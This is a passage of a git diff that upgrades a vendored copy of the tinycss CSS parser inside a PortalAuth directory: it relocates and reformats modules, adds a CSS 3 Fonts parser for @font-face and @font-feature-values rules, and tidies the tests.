not available') - css_source = '/* lorem */ ipsum[dolor/* sit */]/* amet' - tokens = regroup(tokenize(css_source, ignore_comments)) - result = list(jsonify(tokens)) - assert result == expected_tokens - - -@pytest.mark.parametrize(('tokenize', 'css_source'), [ - (tokenize, test_data) - for tokenize in (python_tokenize_flat, cython_tokenize_flat) - for test_data in [ - r'''p[example="\ -foo(int x) {\ - this.x = x;\ -}\ -"]''', - '"Lorem\\26Ipsum\ndolor" sit', - '/* Lorem\nipsum */\fa {\n color: red;\tcontent: "dolor\\\fsit" }', - 'not([[lorem]]{ipsum (42)})', - 'a[b{d]e}', - 'a[b{"d', -]]) -def test_token_serialize_css(tokenize, css_source): - if tokenize is None: # pragma: no cover - pytest.skip('Speedups not available') - for _regroup in [regroup, lambda x: x]: - tokens = _regroup(tokenize(css_source, ignore_comments=False)) - result = ''.join(token.as_css() for token in tokens) - assert result == css_source - - -@pytest.mark.parametrize(('tokenize', 'css_source'), [ - (tokenize, test_data) - for tokenize in (python_tokenize_flat, cython_tokenize_flat) - for test_data in [ - '(8, foo, [z])', '[8, foo, (z)]', '{8, foo, [z]}', 'func(8, foo, [z])' - ] -]) -def test_token_api(tokenize, css_source): - if tokenize is None: # pragma: no cover - pytest.skip('Speedups not available') - tokens = list(regroup(tokenize(css_source))) - assert len(tokens) == 1 - token = tokens[0] - expected_len = 7 # 2 spaces, 2 commas, 3 others. - assert len(token.content) == expected_len diff --git a/PortalAuth/includes/scripts/libs/tinycss/__init__.py b/PortalAuth/includes/scripts/libs/tinycss/tinycss/__init__.py old mode 100755 new mode 100644 similarity index 85% rename from PortalAuth/includes/scripts/libs/tinycss/__init__.py rename to PortalAuth/includes/scripts/libs/tinycss/tinycss/__init__.py index 9eca2b1..aba135c --- a/PortalAuth/includes/scripts/libs/tinycss/__init__.py +++ b/PortalAuth/includes/scripts/libs/tinycss/tinycss/__init__.py @@ -1,4 +1,4 @@ -# coding: utf8 +# coding: utf-8 """ tinycss ------- @@ -9,17 +9,18 @@ :license: BSD, see LICENSE for more details. """ -import sys - from .version import VERSION -__version__ = VERSION from .css21 import CSS21Parser from .page3 import CSSPage3Parser +from .fonts3 import CSSFonts3Parser +__version__ = VERSION + PARSER_MODULES = { 'page3': CSSPage3Parser, + 'fonts3': CSSFonts3Parser, } @@ -30,6 +31,8 @@ def make_parser(*features, **kwargs): Positional arguments are base classes the new parser class will extend. The string ``'page3'`` is accepted as short for :class:`~page3.CSSPage3Parser`. + The string ``'fonts3'`` is accepted as short for + :class:`~fonts3.CSSFonts3Parser`. :param kwargs: Keyword arguments are passed to the parser’s constructor. :returns: diff --git a/PortalAuth/includes/scripts/libs/tinycss/color3.py b/PortalAuth/includes/scripts/libs/tinycss/tinycss/color3.py old mode 100755 new mode 100644 similarity index 99% rename from PortalAuth/includes/scripts/libs/tinycss/color3.py rename to PortalAuth/includes/scripts/libs/tinycss/tinycss/color3.py index 187196e..92eed46 --- a/PortalAuth/includes/scripts/libs/tinycss/color3.py +++ b/PortalAuth/includes/scripts/libs/tinycss/tinycss/color3.py @@ -1,4 +1,4 @@ -# coding: utf8 +# coding: utf-8 """ tinycss.colors3 --------------- @@ -13,7 +13,8 @@ :license: BSD, see LICENSE for more details. """ -from __future__ import unicode_literals, division +from __future__ import division, unicode_literals + import collections import itertools import re diff --git a/PortalAuth/includes/scripts/libs/tinycss/css21.py b/PortalAuth/includes/scripts/libs/tinycss/tinycss/css21.py old mode 100755 new mode 100644 similarity index 94% rename from PortalAuth/includes/scripts/libs/tinycss/css21.py rename to PortalAuth/includes/scripts/libs/tinycss/tinycss/css21.py index 3b2e1f9..e611a5e --- a/PortalAuth/includes/scripts/libs/tinycss/css21.py +++ b/PortalAuth/includes/scripts/libs/tinycss/tinycss/css21.py @@ -1,4 +1,4 @@ -# coding: utf8 +# coding: utf-8 """ tinycss.css21 ------------- @@ -11,13 +11,15 @@ """ from __future__ import unicode_literals + from itertools import chain, islice from .decoding import decode +from .parsing import ( + ParseError, remove_whitespace, split_on_comma, strip_whitespace, + validate_any, validate_value) from .token_data import TokenList from .tokenizer import tokenize_grouped -from .parsing import (strip_whitespace, remove_whitespace, split_on_comma, - validate_value, validate_block, validate_any, ParseError) # stylesheet : [ CDO | CDC | S | statement ]*; @@ -293,7 +295,6 @@ class ImportRule(object): ' {0.uri}>'.format(self)) - def _remove_at_charset(tokens): """Remove any valid @charset at the beggining of a token stream. @@ -307,8 +308,8 @@ def _remove_at_charset(tokens): header = list(islice(tokens, 4)) if [t.type for t in header] == ['ATKEYWORD', 'S', 'STRING', ';']: atkw, space, string, semicolon = header - if ((atkw.value, space.value) == ('@charset', ' ') - and string.as_css()[0] == '"'): + if ((atkw.value, space.value) == ('@charset', ' ') and + string.as_css()[0] == '"'): # Found a valid @charset rule, only keep what’s after it. return tokens return chain(header, tokens) @@ -331,7 +332,7 @@ class CSS21Parser(object): # User API: def parse_stylesheet_file(self, css_file, protocol_encoding=None, - linking_encoding=None, document_encoding=None): + linking_encoding=None, document_encoding=None): """Parse a stylesheet from a file or filename. Character encoding-related parameters and behavior are the same @@ -482,8 +483,6 @@ class CSS21Parser(object): return AtRule(at_keyword, head, body, at_keyword_token.line, at_keyword_token.column) - at_page_allowed_contexts = ['stylesheet'] - def parse_at_rule(self, rule, previous_rules, errors, context): """Parse an at-rule. @@ -510,12 +509,13 @@ class CSS21Parser(object): """ if rule.at_keyword == '@page': - if context not in self.at_page_allowed_contexts: + if context != 'stylesheet': raise ParseError(rule, '@page rule not allowed in ' + context) selector, specificity = self.parse_page_selector(rule.head) if rule.body is None: - raise ParseError(rule, - 'invalid {0} rule: missing block'.format(rule.at_keyword)) + raise ParseError( + rule, 'invalid {0} rule: missing block'.format( + rule.at_keyword)) declarations, at_rules, rule_errors = \ self.parse_declarations_and_at_rules(rule.body, '@page') errors.extend(rule_errors) @@ -529,32 +529,34 @@ class CSS21Parser(object): raise ParseError(rule, 'expected media types for @media') media = self.parse_media(rule.head) if rule.body is None: - raise ParseError(rule, - 'invalid {0} rule: missing block'.format(rule.at_keyword)) + raise ParseError( + rule, 'invalid {0} rule: missing block'.format( + rule.at_keyword)) rules, rule_errors = self.parse_rules(rule.body, '@media') errors.extend(rule_errors) return MediaRule(media, rules, rule.line, rule.column) elif rule.at_keyword == '@import': if context != 'stylesheet': - raise ParseError(rule, - '@import rule not allowed in ' + context) + raise ParseError( + rule, '@import rule not allowed in ' + context) for previous_rule in previous_rules: if previous_rule.at_keyword not in ('@charset', '@import'): if previous_rule.at_keyword: type_ = 'an {0} rule'.format(previous_rule.at_keyword) else: type_ = 'a ruleset' - raise ParseError(previous_rule, + raise ParseError( + previous_rule, '@import rule not allowed after ' + type_) head = rule.head if not head: - raise ParseError(rule, - 'expected URI or STRING for @import rule') + raise ParseError( + rule, 'expected URI or STRING for @import rule') if head[0].type not in ('URI', 'STRING'): - raise ParseError(rule, - 'expected URI or STRING for @import rule, got ' - + head[0].type) + raise ParseError( + rule, 'expected URI or STRING for @import rule, got ' + + head[0].type) uri = head[0].value media = self.parse_media(strip_whitespace(head[1:])) if rule.body is not None: @@ -567,8 +569,9 @@ class CSS21Parser(object): raise ParseError(rule, 'mis-placed or malformed @charset rule') else: - raise ParseError(rule, 'unknown at-rule in {0} context: {1}' - .format(context, rule.at_keyword)) + raise ParseError( + rule, 'unknown at-rule in {0} context: {1}'.format( + context, rule.at_keyword)) def parse_media(self, tokens): """For CSS 2.1, parse a list of media types. @@ -590,8 +593,9 @@ class CSS21Parser(object): if types == ['IDENT']: media_types.append(part[0].value) else: - raise ParseError(tokens[0], 'expected a media type' - + ((', got ' + ', '.join(types)) if types else '')) + raise ParseError( + tokens[0], 'expected a media type' + + ((', got ' + ', '.join(types)) if types else '')) return media_types def parse_page_selector(self, tokens): @@ -609,8 +613,8 @@ class CSS21Parser(object): """ if not tokens: return None, (0, 0) - if (len(tokens) == 2 and tokens[0].type == ':' - and tokens[1].type == 'IDENT'): + if (len(tokens) == 2 and tokens[0].type == ':' and + tokens[1].type == 'IDENT'): pseudo_class = tokens[1].value specificity = { 'first': (1, 0), 'left': (0, 1), 'right': (0, 1), @@ -679,8 +683,9 @@ class CSS21Parser(object): for one ruleset. :return: a tuple of a :class:`RuleSet` and an error list. - The errors are recovered :class:`~.parsing.ParseError` in declarations. - (Parsing continues from the next declaration on such errors.) + The errors are recovered :class:`~.parsing.ParseError` in + declarations. (Parsing continues from the next declaration on such + errors.) :raises: :class:`~.parsing.ParseError` if the selector is invalid for the core grammar. @@ -767,8 +772,9 @@ class CSS21Parser(object): # CSS syntax is case-insensitive property_name = name_token.value.lower() else: - raise ParseError(name_token, - 'expected a property name, got {0}'.format(name_token.type)) + raise ParseError( + name_token, 'expected a property name, got {0}'.format( + name_token.type)) token = name_token # In case ``tokens`` is now empty for token in tokens: diff --git a/PortalAuth/includes/scripts/libs/tinycss/decoding.py b/PortalAuth/includes/scripts/libs/tinycss/tinycss/decoding.py old mode 100755 new mode 100644 similarity index 61% rename from PortalAuth/includes/scripts/libs/tinycss/decoding.py rename to PortalAuth/includes/scripts/libs/tinycss/tinycss/decoding.py index 6303e1a..09875a5 --- a/PortalAuth/includes/scripts/libs/tinycss/decoding.py +++ b/PortalAuth/includes/scripts/libs/tinycss/tinycss/decoding.py @@ -1,4 +1,4 @@ -# coding: utf8 +# coding: utf-8 """ tinycss.decoding ---------------- @@ -12,11 +12,9 @@ from __future__ import unicode_literals -from binascii import unhexlify import operator import re -import sys - +from binascii import unhexlify __all__ = ['decode'] # Everything else is implementation detail @@ -116,101 +114,101 @@ Slice = Slicer() ENCODING_MAGIC_NUMBERS = [ ((Slice[:], ''), re.compile( - hex2re('EF BB BF 40 63 68 61 72 73 65 74 20 22') - + b'([^\x22]*?)' - + hex2re('22 3B')).match), + hex2re('EF BB BF 40 63 68 61 72 73 65 74 20 22') + + b'([^\x22]*?)' + + hex2re('22 3B')).match), ('UTF-8', re.compile( hex2re('EF BB BF')).match), ((Slice[:], ''), re.compile( - hex2re('40 63 68 61 72 73 65 74 20 22') - + b'([^\x22]*?)' - + hex2re('22 3B')).match), + hex2re('40 63 68 61 72 73 65 74 20 22') + + b'([^\x22]*?)' + + hex2re('22 3B')).match), ((Slice[1::2], '-BE'), re.compile( hex2re('FE FF 00 40 00 63 00 68 00 61 00 72 00 73 00 65 00' - '74 00 20 00 22') - + b'((\x00[^\x22])*?)' - + hex2re('00 22 00 3B')).match), + '74 00 20 00 22') + + b'((\x00[^\x22])*?)' + + hex2re('00 22 00 3B')).match), ((Slice[1::2], '-BE'), re.compile( hex2re('00 40 00 63 00 68 00 61 00 72 00 73 00 65 00 74 00' - '20 00 22') - + b'((\x00[^\x22])*?)' - + hex2re('00 22 00 3B')).match), + '20 00 22') + + b'((\x00[^\x22])*?)' + + hex2re('00 22 00 3B')).match), ((Slice[::2], '-LE'), re.compile( hex2re('FF FE 40 00 63 00 68 00 61 00 72 00 73 00 65 00 74' - '00 20 00 22 00') - + b'(([^\x22]\x00)*?)' - + hex2re('22 00 3B 00')).match), + '00 20 00 22 00') + + b'(([^\x22]\x00)*?)' + + hex2re('22 00 3B 00')).match), ((Slice[::2], '-LE'), re.compile( hex2re('40 00 63 00 68 00 61 00 72 00 73 00 65 00 74 00 20' - '00 22 00') - + b'(([^\x22]\x00)*?)' - + hex2re('22 00 3B 00')).match), + '00 22 00') + + b'(([^\x22]\x00)*?)' + + hex2re('22 00 3B 00')).match), ((Slice[3::4], '-BE'), re.compile( hex2re('00 00 FE FF 00 00 00 40 00 00 00 63 00 00 00 68 00' '00 00 61 00 00 00 72 00 00 00 73 00 00 00 65 00 00' - '00 74 00 00 00 20 00 00 00 22') - + b'((\x00\x00\x00[^\x22])*?)' - + hex2re('00 00 00 22 00 00 00 3B')).match), + '00 74 00 00 00 20 00 00 00 22') + + b'((\x00\x00\x00[^\x22])*?)' + + hex2re('00 00 00 22 00 00 00 3B')).match), ((Slice[3::4], '-BE'), re.compile( hex2re('00 00 00 40 00 00 00 63 00 00 00 68 00 00 00 61 00' '00 00 72 00 00 00 73 00 00 00 65 00 00 00 74 00 00' - '00 20 00 00 00 22') - + b'((\x00\x00\x00[^\x22])*?)' - + hex2re('00 00 00 22 00 00 00 3B')).match), + '00 20 00 00 00 22') + + b'((\x00\x00\x00[^\x22])*?)' + + hex2re('00 00 00 22 00 00 00 3B')).match), -# Python does not support 2143 or 3412 endianness, AFAIK. -# I guess we could fix it up ourselves but meh. Patches welcome. + # Python does not support 2143 or 3412 endianness, AFAIK. + # I guess we could fix it up ourselves but meh. Patches welcome. -# ((Slice[2::4], '-2143'), re.compile( -# hex2re('00 00 FF FE 00 00 40 00 00 00 63 00 00 00 68 00 00' -# '00 61 00 00 00 72 00 00 00 73 00 00 00 65 00 00 00' -# '74 00 00 00 20 00 00 00 22 00') -# + b'((\x00\x00[^\x22]\x00)*?)' -# + hex2re('00 00 22 00 00 00 3B 00')).match), + # ((Slice[2::4], '-2143'), re.compile( + # hex2re('00 00 FF FE 00 00 40 00 00 00 63 00 00 00 68 00 00' + # '00 61 00 00 00 72 00 00 00 73 00 00 00 65 00 00 00' + # '74 00 00 00 20 00 00 00 22 00') + + # b'((\x00\x00[^\x22]\x00)*?)' + + # hex2re('00 00 22 00 00 00 3B 00')).match), -# ((Slice[2::4], '-2143'), re.compile( -# hex2re('00 00 40 00 00 00 63 00 00 00 68 00 00 00 61 00 00' -# '00 72 00 00 00 73 00 00 00 65 00 00 00 74 00 00 00' -# '20 00 00 00 22 00') -# + b'((\x00\x00[^\x22]\x00)*?)' -# + hex2re('00 00 22 00 00 00 3B 00')).match), + # ((Slice[2::4], '-2143'), re.compile( + # hex2re('00 00 40 00 00 00 63 00 00 00 68 00 00 00 61 00 00' + # '00 72 00 00 00 73 00 00 00 65 00 00 00 74 00 00 00' + # '20 00 00 00 22 00') + + # b'((\x00\x00[^\x22]\x00)*?)' + + # hex2re('00 00 22 00 00 00 3B 00')).match), -# ((Slice[1::4], '-3412'), re.compile( -# hex2re('FE FF 00 00 00 40 00 00 00 63 00 00 00 68 00 00 00' -# '61 00 00 00 72 00 00 00 73 00 00 00 65 00 00 00 74' -# '00 00 00 20 00 00 00 22 00 00') -# + b'((\x00[^\x22]\x00\x00)*?)' -# + hex2re('00 22 00 00 00 3B 00 00')).match), + # ((Slice[1::4], '-3412'), re.compile( + # hex2re('FE FF 00 00 00 40 00 00 00 63 00 00 00 68 00 00 00' + # '61 00 00 00 72 00 00 00 73 00 00 00 65 00 00 00 74' + # '00 00 00 20 00 00 00 22 00 00') + + # b'((\x00[^\x22]\x00\x00)*?)' + + # hex2re('00 22 00 00 00 3B 00 00')).match), -# ((Slice[1::4], '-3412'), re.compile( -# hex2re('00 40 00 00 00 63 00 00 00 68 00 00 00 61 00 00 00' -# '72 00 00 00 73 00 00 00 65 00 00 00 74 00 00 00 20' -# '00 00 00 22 00 00') -# + b'((\x00[^\x22]\x00\x00)*?)' -# + hex2re('00 22 00 00 00 3B 00 00')).match), + # ((Slice[1::4], '-3412'), re.compile( + # hex2re('00 40 00 00 00 63 00 00 00 68 00 00 00 61 00 00 00' + # '72 00 00 00 73 00 00 00 65 00 00 00 74 00 00 00 20' + # '00 00 00 22 00 00') + + # b'((\x00[^\x22]\x00\x00)*?)' + + # hex2re('00 22 00 00 00 3B 00 00')).match), ((Slice[::4], '-LE'), re.compile( hex2re('FF FE 00 00 40 00 00 00 63 00 00 00 68 00 00 00 61' '00 00 00 72 00 00 00 73 00 00 00 65 00 00 00 74 00' - '00 00 20 00 00 00 22 00 00 00') - + b'(([^\x22]\x00\x00\x00)*?)' - + hex2re('22 00 00 00 3B 00 00 00')).match), + '00 00 20 00 00 00 22 00 00 00') + + b'(([^\x22]\x00\x00\x00)*?)' + + hex2re('22 00 00 00 3B 00 00 00')).match), ((Slice[::4], '-LE'), re.compile( hex2re('40 00 00 00 63 00 00 00 68 00 00 00 61 00 00 00 72' '00 00 00 73 00 00 00 65 00 00 00 74 00 00 00 20 00' - '00 00 22 00 00 00') - + b'(([^\x22]\x00\x00\x00)*?)' - + hex2re('22 00 00 00 3B 00 00 00')).match), + '00 00 22 00 00 00') + + b'(([^\x22]\x00\x00\x00)*?)' + + hex2re('22 00 00 00 3B 00 00 00')).match), ('UTF-32-BE', re.compile( hex2re('00 00 FE FF')).match), @@ -218,11 +216,11 @@ ENCODING_MAGIC_NUMBERS = [ ('UTF-32-LE', re.compile( hex2re('FF FE 00 00')).match), -# ('UTF-32-2143', re.compile( -# hex2re('00 00 FF FE')).match), + # ('UTF-32-2143', re.compile( + # hex2re('00 00 FF FE')).match), -# ('UTF-32-3412', re.compile( -# hex2re('FE FF 00 00')).match), + # ('UTF-32-3412', re.compile( + # hex2re('FE FF 00 00')).match), ('UTF-16-BE', re.compile( hex2re('FE FF')).match), @@ -231,24 +229,24 @@ ENCODING_MAGIC_NUMBERS = [ hex2re('FF FE')).match), -# Some of there are supported by Python, but I didn’t bother. -# You know the story with patches ... + # Some of there are supported by Python, but I didn’t bother. + # You know the story with patches ... -# # as specified, transcoded from EBCDIC to ASCII -# ('as_specified-EBCDIC', re.compile( -# hex2re('7C 83 88 81 99 A2 85 A3 40 7F') -# + b'([^\x7F]*?)' -# + hex2re('7F 5E')).match), + # # as specified, transcoded from EBCDIC to ASCII + # ('as_specified-EBCDIC', re.compile( + # hex2re('7C 83 88 81 99 A2 85 A3 40 7F') + # + b'([^\x7F]*?)' + # + hex2re('7F 5E')).match), -# # as specified, transcoded from IBM1026 to ASCII -# ('as_specified-IBM1026', re.compile( -# hex2re('AE 83 88 81 99 A2 85 A3 40 FC') -# + b'([^\xFC]*?)' -# + hex2re('FC 5E')).match), + # # as specified, transcoded from IBM1026 to ASCII + # ('as_specified-IBM1026', re.compile( + # hex2re('AE 83 88 81 99 A2 85 A3 40 FC') + # + b'([^\xFC]*?)' + # + hex2re('FC 5E')).match), -# # as specified, transcoded from GSM 03.38 to ASCII -# ('as_specified-GSM_03.38', re.compile( -# hex2re('00 63 68 61 72 73 65 74 20 22') -# + b'([^\x22]*?)' -# + hex2re('22 3B')).match), + # # as specified, transcoded from GSM 03.38 to ASCII + # ('as_specified-GSM_03.38', re.compile( + # hex2re('00 63 68 61 72 73 65 74 20 22') + # + b'([^\x22]*?)' + # + hex2re('22 3B')).match), ] diff --git a/PortalAuth/includes/scripts/libs/tinycss/tinycss/fonts3.py b/PortalAuth/includes/scripts/libs/tinycss/tinycss/fonts3.py new file mode 100644 index 0000000..c1f96a6 --- /dev/null +++ b/PortalAuth/includes/scripts/libs/tinycss/tinycss/fonts3.py @@ -0,0 +1,200 @@ +# coding: utf-8 +""" + tinycss.colors3 + --------------- + + Parser for CSS 3 Fonts syntax: + https://www.w3.org/TR/css-fonts-3/ + + Adds support for font-face and font-feature-values rules. + + :copyright: (c) 2016 by Kozea. + :license: BSD, see LICENSE for more details. +""" + +from __future__ import division, unicode_literals + +from .css21 import CSS21Parser, ParseError + + +class FontFaceRule(object): + """A parsed at-rule for font faces. + + .. attribute:: at_keyword + + Always ``'@font-face'``. + + .. attribute:: declarations + + A list of :class:`~.css21.Declaration` objects. + + .. attribute:: line + + Source line where this was read. + + .. attribute:: column + + Source column where this was read. + + """ + + def __init__(self, at_keyword, declarations, line, column): + assert at_keyword == '@font-face' + self.at_keyword = at_keyword + self.declarations = declarations + self.line = line + self.column = column + + +class FontFeatureValuesRule(object): + """A parsed at-rule for font feature values. + + .. attribute:: at_keyword + + Always ``'@font-feature-values'``. + + .. attribute:: line + + Source line where this was read. + + .. attribute:: column + + Source column where this was read. + + .. attribute:: at_rules + + The list of parsed at-rules inside the @font-feature-values block, in + source order. + + .. attribute:: family_names + + A list of strings representing font families. + + """ + + def __init__(self, at_keyword, at_rules, family_names, line, column): + assert at_keyword == '@font-feature-values' + self.at_keyword = at_keyword + self.family_names = family_names + self.at_rules = at_rules + self.line = line + self.column = column + + +class FontFeatureRule(object): + """A parsed at-rule for font features. + + .. attribute:: at_keyword + + One of the 16 following strings: + + * ``@stylistic`` + * ``@styleset`` + * ``@character-variant`` + * ``@swash`` + * ``@ornaments`` + * ``@annotation`` + + .. attribute:: declarations + + A list of :class:`~.css21.Declaration` objects. + + .. attribute:: line + + Source line where this was read. + + .. attribute:: column + + Source column where this was read. + + """ + + def __init__(self, at_keyword, declarations, line, column): + self.at_keyword = at_keyword + self.declarations = declarations + self.line = line + self.column = column + + +class CSSFonts3Parser(CSS21Parser): + """Extend :class:`~.css21.CSS21Parser` for `CSS 3 Fonts`_ syntax. + + .. _CSS 3 Fonts: https://www.w3.org/TR/css-fonts-3/ + + """ + + FONT_FEATURE_VALUES_AT_KEYWORDS = [ + '@stylistic', + '@styleset', + '@character-variant', + '@swash', + '@ornaments', + '@annotation', + ] + + def parse_at_rule(self, rule, previous_rules, errors, context): + if rule.at_keyword == '@font-face': + if rule.head: + raise ParseError( + rule.head[0], + 'unexpected {0} token in {1} rule header'.format( + rule.head[0].type, rule.at_keyword)) + declarations, body_errors = self.parse_declaration_list(rule.body) + errors.extend(body_errors) + return FontFaceRule( + rule.at_keyword, declarations, rule.line, rule.column) + elif rule.at_keyword == '@font-feature-values': + family_names = tuple( + self.parse_font_feature_values_family_names(rule.head)) + at_rules, body_errors = ( + self.parse_rules(rule.body or [], '@font-feature-values')) + errors.extend(body_errors) + return FontFeatureValuesRule( + rule.at_keyword, at_rules, family_names, + rule.line, rule.column) + elif rule.at_keyword in self.FONT_FEATURE_VALUES_AT_KEYWORDS: + if context != '@font-feature-values': + raise ParseError( + rule, '{0} rule not allowed in {1}'.format( + rule.at_keyword, context)) + declarations, body_errors = self.parse_declaration_list(rule.body) + errors.extend(body_errors) + return FontFeatureRule( + rule.at_keyword, declarations, rule.line, rule.column) + return super(CSSFonts3Parser, self).parse_at_rule( + rule, previous_rules, errors, context) + + def parse_font_feature_values_family_names(self, tokens): + """Parse an @font-feature-values selector. + + :param tokens: + An iterable of token, typically from the ``head`` attribute of + an unparsed :class:`AtRule`. + :returns: + A generator of strings representing font families. + :raises: + :class:`~.parsing.ParseError` on invalid selectors + + """ + family = '' + current_string = False + for token in tokens: + if token.type == 'DELIM' and token.value == ',' and family: + yield family + family = '' + current_string = False + elif token.type == 'STRING' and not family and ( + current_string is False): + family = token.value + current_string = True + elif token.type == 'IDENT' and not current_string: + if family: + family += ' ' + family += token.value + elif token.type != 'S': + family = '' + break + if family: + yield family + else: + raise ParseError(token, 'invalid @font-feature-values selector') diff --git a/PortalAuth/includes/scripts/libs/tinycss/page3.py b/PortalAuth/includes/scripts/libs/tinycss/tinycss/page3.py old mode 100755 new mode 100644 similarity index 86% rename from PortalAuth/includes/scripts/libs/tinycss/page3.py rename to PortalAuth/includes/scripts/libs/tinycss/tinycss/page3.py index 97ce217..6a89252 --- a/PortalAuth/includes/scripts/libs/tinycss/page3.py +++ b/PortalAuth/includes/scripts/libs/tinycss/tinycss/page3.py @@ -1,4 +1,4 @@ -# coding: utf8 +# coding: utf-8 """ tinycss.page3 ------------------ @@ -12,7 +12,8 @@ :license: BSD, see LICENSE for more details. """ -from __future__ import unicode_literals, division +from __future__ import division, unicode_literals + from .css21 import CSS21Parser, ParseError @@ -107,21 +108,21 @@ class CSSPage3Parser(CSS21Parser): '@right-bottom', ] - at_page_allowed_contexts = ['stylesheet', '@media'] - def parse_at_rule(self, rule, previous_rules, errors, context): if rule.at_keyword in self.PAGE_MARGIN_AT_KEYWORDS: if context != '@page': - raise ParseError(rule, - '%s rule not allowed in %s' % (rule.at_keyword, context)) + raise ParseError( + rule, '{0} rule not allowed in {1}'.format( + rule.at_keyword, context)) if rule.head: - raise ParseError(rule.head[0], - 'unexpected %s token in %s rule header' - % (rule.head[0].type, rule.at_keyword)) + raise ParseError( + rule.head[0], + 'unexpected {0} token in {1} rule header'.format( + rule.head[0].type, rule.at_keyword)) declarations, body_errors = self.parse_declaration_list(rule.body) errors.extend(body_errors) - return MarginRule(rule.at_keyword, declarations, - rule.line, rule.column) + return MarginRule( + rule.at_keyword, declarations, rule.line, rule.column) return super(CSSPage3Parser, self).parse_at_rule( rule, previous_rules, errors, context) @@ -149,11 +150,9 @@ class CSSPage3Parser(CSS21Parser): else: name = None name_specificity = (0,) - if (len(head) == 2 and head[0].type == ':' - and head[1].type == 'IDENT'): + if (len(head) == 2 and head[0].type == ':' and + head[1].type == 'IDENT'): pseudo_class = head[1].value - # :blank is defined in GCPM: - # http://dev.w3.org/csswg/css3-gcpm/#styling-blank-pages specificity = { 'first': (1, 0), 'blank': (1, 0), 'left': (0, 1), 'right': (0, 1), diff --git a/PortalAuth/includes/scripts/libs/tinycss/parsing.py b/PortalAuth/includes/scripts/libs/tinycss/tinycss/parsing.py old mode 100755 new mode 100644 similarity index 97% rename from PortalAuth/includes/scripts/libs/tinycss/parsing.py rename to PortalAuth/includes/scripts/libs/tinycss/tinycss/parsing.py index 86e93c0..c01e9c2 --- a/PortalAuth/includes/scripts/libs/tinycss/parsing.py +++ b/PortalAuth/includes/scripts/libs/tinycss/tinycss/parsing.py @@ -1,4 +1,4 @@ -# coding: utf8 +# coding: utf-8 """ tinycss.parsing --------------- @@ -95,6 +95,7 @@ def validate_value(tokens): else: validate_any(token, 'property value') + def validate_block(tokens, context): """ :raises: @@ -132,8 +133,8 @@ def validate_any(token, context): adjective = 'unmatched' else: adjective = 'unexpected' - raise ParseError(token, - '{0} {1} token in {2}'.format(adjective, type_, context)) + raise ParseError( + token, '{0} {1} token in {2}'.format(adjective, type_, context)) class ParseError(ValueError): diff --git a/PortalAuth/includes/scripts/libs/tinycss/speedups.pyx b/PortalAuth/includes/scripts/libs/tinycss/tinycss/speedups.pyx old mode 100755 new mode 100644 similarity index 99% rename from PortalAuth/includes/scripts/libs/tinycss/speedups.pyx rename to PortalAuth/includes/scripts/libs/tinycss/tinycss/speedups.pyx index cb75aee..49edfa2 --- a/PortalAuth/includes/scripts/libs/tinycss/speedups.pyx +++ b/PortalAuth/includes/scripts/libs/tinycss/tinycss/speedups.pyx @@ -1,4 +1,4 @@ -# coding: utf8 +# coding: utf-8 """ tinycss.speedups ---------------- diff --git a/PortalAuth/includes/scripts/libs/tinycss/tests/__init__.py b/PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/__init__.py old mode 100755 new mode 100644 similarity index 70% rename from PortalAuth/includes/scripts/libs/tinycss/tests/__init__.py rename to PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/__init__.py index c7a89e0..af7a49e --- a/PortalAuth/includes/scripts/libs/tinycss/tests/__init__.py +++ b/PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/__init__.py @@ -1,4 +1,4 @@ -# coding: utf8 +# coding: utf-8 """ Test suite for tinycss ---------------------- @@ -10,6 +10,14 @@ from __future__ import unicode_literals +import sys + + +# Awful workaround to fix isort's "sys.setdefaultencoding('utf-8')". +if sys.version_info[0] == 2: + reload(sys) # noqa + sys.setdefaultencoding('ascii') + def assert_errors(errors, expected_errors): """Test not complete error messages but only substrings.""" diff --git a/PortalAuth/includes/scripts/libs/tinycss/tests/speed.py b/PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/speed.py old mode 100755 new mode 100644 similarity index 96% rename from PortalAuth/includes/scripts/libs/tinycss/tests/speed.py rename to PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/speed.py index 2777d4b..860e5df --- a/PortalAuth/includes/scripts/libs/tinycss/tests/speed.py +++ b/PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/speed.py @@ -1,4 +1,4 @@ -# coding: utf8 +# coding: utf-8 """ Speed tests ----------- @@ -11,13 +11,13 @@ """ -from __future__ import unicode_literals, division +from __future__ import division, unicode_literals -import sys -import os.path import contextlib -import timeit import functools +import os.path +import sys +import timeit from cssutils import parseString @@ -25,7 +25,6 @@ from .. import tokenizer from ..css21 import CSS21Parser from ..parsing import remove_whitespace - CSS_REPEAT = 4 TIMEIT_REPEAT = 3 TIMEIT_NUMBER = 20 @@ -82,8 +81,6 @@ def parse_cssutils(): def check_consistency(): result = parse_python() - #import pprint - #pprint.pprint(result) assert len(result) > 0 if tokenizer.cython_tokenize_flat: assert parse_cython() == result diff --git a/PortalAuth/includes/scripts/libs/tinycss/tests/test_api.py b/PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_api.py old mode 100755 new mode 100644 similarity index 97% rename from PortalAuth/includes/scripts/libs/tinycss/tests/test_api.py rename to PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_api.py index 01caa3f..a0510b9 --- a/PortalAuth/includes/scripts/libs/tinycss/tests/test_api.py +++ b/PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_api.py @@ -1,4 +1,4 @@ -# coding: utf8 +# coding: utf-8 """ Tests for the public API ------------------------ @@ -9,10 +9,8 @@ from __future__ import unicode_literals -import itertools from pytest import raises - from tinycss import make_parser from tinycss.page3 import CSSPage3Parser diff --git a/PortalAuth/includes/scripts/libs/tinycss/tests/test_color3.py b/PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_color3.py old mode 100755 new mode 100644 similarity index 80% rename from PortalAuth/includes/scripts/libs/tinycss/tests/test_color3.py rename to PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_color3.py index 3d86785..e48771e --- a/PortalAuth/includes/scripts/libs/tinycss/tests/test_color3.py +++ b/PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_color3.py @@ -1,4 +1,4 @@ -# coding: utf8 +# coding: utf-8 """ Tests for the CSS 3 color parser -------------------------------- @@ -11,8 +11,7 @@ from __future__ import unicode_literals import pytest - -from tinycss.color3 import parse_color_string, hsl_to_rgb +from tinycss.color3 import hsl_to_rgb, parse_color_string 